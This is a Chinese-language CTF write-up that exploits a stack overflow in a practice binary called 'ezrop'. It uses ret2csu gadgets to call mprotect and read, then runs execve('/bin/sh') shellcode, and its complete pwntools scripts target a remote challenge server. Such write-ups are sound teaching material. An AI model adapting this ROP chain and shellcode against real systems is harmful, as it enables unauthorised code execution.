一次有意思的CTF題目
#記錄一次有意思的ctf題目 今天遇到了一個很有意思的題目,現在還沒做完,但經過漫長是審計后找到了突破點,現在就帶大家一起看看這有意思的,簡單的,復雜的rop ##一拿到題目首先檢查其安全項目和操作位數

我們可以從上面的圖片觀察到它是64位程序,幾乎沒開保護。之后用ida打開這個程序

可以觀察到這個程序并不會太復雜,簡單判斷是read函數造成的溢出。跟著程序往下走,我們很快就找到了溢出點


我們從上面兩張圖可以發現明顯的棧溢出點。當我以為,這題也就這樣,幾分鐘就能拿下時。遇到了意外。##程序利用的難點 這題看似簡單,其實一點都不簡單。在我開始收集程序信息并疑惑,這么簡單的題目為什么沒人多少人做出來,分數還特別高時,我發現了一個相當嚴重的問題

我們可以發現,這些gadget里面壓根沒有關于rdx寄存器有關的操作,不是沒有pop rdx的操作,是完全找不到rdx,這對于我們接下來需要用到的兩個重要函數read和mprotect來說是致命的,這就是說我們不能控制這些參數了。起初我還以為可能是我方向錯了,以為要用泄露libc庫,可是沒找到合適的泄露函數使用放棄了。到此為止我總算理解為什么分這么高了,正當我準備放棄時,我被其它題目勸退了,感覺還不如做這個安全系數小的題目,于是我硬著頭皮把整個程序的匯編碼看了一遍,在里面大海撈針,企圖找到突破點,終于,經過我不知道多久的努力后,我找到它了。是他,是他,就是他,雖然我沒利用,但我已經聽到了他的呼喚

從上圖我看到了什么?看到了希望,看到了曲線救國,你敢信,這東西藏在初始化函數里面。不得不說出題人真是好算計,要不是有幾個人做出來了,我都懷疑題目出錯了。##利用 接下來將一起解決這個有意思的,簡單的,復雜的rop。首先找到能控制r12到r15寄存器的點:0x4006dc(上兩張圖可以看到)**接下來就是對棧精細布局了,在此之前我們還需要一個寄存器:rbx因為我們對這個利用點只用一次,所以我們不需要去控制它,只需要知道他在利用前的值,配合r12精細計算,就能得到我們要的所有地址,我們gdb動態調試一下** 首先利用gdb加載程序,之后對rbx進行監控,確定我們的輸入是不會對它造成影響的。,之后再在溢出點前下斷定,如果程序直接斷到我們的斷點就說明rbx沒有變過,如果過程中因為rbx改變造成中斷,我們就看上下文,與我們的輸入有沒有關系。在跟蹤過程中,前三次次改變是因為setbuf函數,無關。之后rbx寄存器被清空為0。之后就直接到了我們的溢出點,所以結論,rbx寄存器不受我們影響,且在利用前值為0,所以我們等一下直接用r12代表我們的地址 ##開始碼payload 首先先把收集得到的東西寫出來
from pwn import *
fd = process('./ezrop')
elf= ELF('ezrop')
use=0x4006C0
pop_r12_15=0x4006dc
mprotect=elf.plt["mprotect"]
bss=0x600AC0
read=elf.plt["read"]
pop_rdi=0x4006e3
pop_rsi_r15=0x4006e1
之后寫我們的payload
payload=b'a'*0x58+p64(pop_r12_15)+p64(mprotect)+p64(7)+p64(0x1000)+p64(bss)+p64(use)+p64(pop_r12_15)+p64(read)+p64(0x1000)+p64(bss)+p64(0)+p64(use)
其中ues就是我們找的利用點,當寫到這里時我發現了一個一開始就忽略的問題

我們往下看函數,可以看到,為了讓函數只執行一次,我們需要把rbp寄存器為1,看到這里我也知道了gadget里面的pop_r12_15從哪來了,這里有兩種解決方案,修改溢出點的對應的rbp位置,這里也給出payload
payload=b'a'*0x50+p64(1)+p64(pop_r12_15)+p64(mprotect)+p64(7)+p64(0x1000)+p64(bss)+p64(use)
第二種方案,補全我們的pop_r12_15為pop_rbx_rbp_r12_15,這里也給出對應代碼
pop_rbx_rbp_r12_15=0x4006DA payload=b'a'*0x58+p64(pop_rbx_rbp_r12_15)+p64(0)+p64(1)+p64(mprotect)+p64(7)+p64(0x1000)+p64(bss)+p64(use)
其中原payload后面的布置也就相應無效了,解決完問題繼續往下走 以上是使用mprotect函數,接下來要使用read函數了,在此之前,先把add rsp,8 和一眾pop函數填完,這將是我們填參數的地方
payload+=b'a'*8+p64(1)+p64(0)+p64(read)+p64(0x1000)+p64(bss)+p64(0)+p64(use)
最后我們只需要把我們的shellcode寫進去,然后把執行流導向納里就ok了
payload+=b'a'*8+p64(bss)*7 fd.sendline(payload) fd.sendline(shellcode)
ok,到此為止,我們的payload完成了,完整payload:
elf= ELF('ezrop')
shellcode=asm(shellcraft.sh())
fd = remote('node2.hackingfor.fun',38256)
pop_rbx_rbp_r12_15=0x4006DA
use=0x4006C0
pop_r12_15=0x4006dc
mprotect=elf.plt["mprotect"]
bss=0x600AC0
read=elf.plt["read"]
pop_rdi=0x4006e3
pop_rsi_r15=0x4006e1
payload=b'a'*0x50+p64(1)+p64(pop_r12_15)+p64(mprotect)+p64(7)+p64(0x1000)+p64(bss)+p64(use)+b'a'*8+p64(1)+p64(0)+p64(read)+p64(0x1000)+p64(bss)+p64(0)+p64(use)+b'a'*8+p64(bss)*7
fd.sendline(payload)
fd.sendline(shellcode)
fd.interactive()
然后我們執行代碼之后。。。。。

Are you a shellcode master?**我是shellcode大師嗎?,我靠居然嘲諷我...,顯然的,思路不對。經過調試后我們發現了問題所在call qword ptr [r12+rbx*8]**其中是調用解引用r12之后的地址,不是直接引用r12地址,這波大意了,沒有閃。然后就得去尋找哪個地方里面存了mprotect的地址,也就是got表地址, 然后我們又發現還是不能getshell,進行本地調試后我們發現我們沒有修改權限成功,然后我突然意識到了什么,于是我把修改權限的地址放在了頁的最前面,修改一個頁的大小,最后成功getshell。

##最后
from pwn import *
context.log_level = 'debug'
context.arch = "amd64"
fd = process('./ezrop')
elf= ELF('ezrop')
shellcode='''
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
'''
shellcode=asm(shellcode)
fd = remote('node2.hackingfor.fun',31564)
pop_rbx_rbp_r12_15=0x4006DA
use=0x4006C0
pop_r12_15=0x4006dc
mprotect=elf.got["mprotect"]
bss=0x600ac0
change=0x600000
read=elf.got["read"]
pop_rdi=0x4006e3
pop_rsi_r15=0x4006e1
vuln=0x400633
payload=b'a'*0x50+p64(1)+p64(pop_r12_15)+p64(mprotect)+p64(7)+p64(0x1000)+p64(change)+p64(use)+b'a'*8+p64(0)+p64(1)+p64(read)+p64(0x1000)+p64(bss)+p64(0)+p64(use)+b'a'*8+p64(bss)*10
fd.sendline(payload)
fd.sendline(shellcode)
fd.interactive()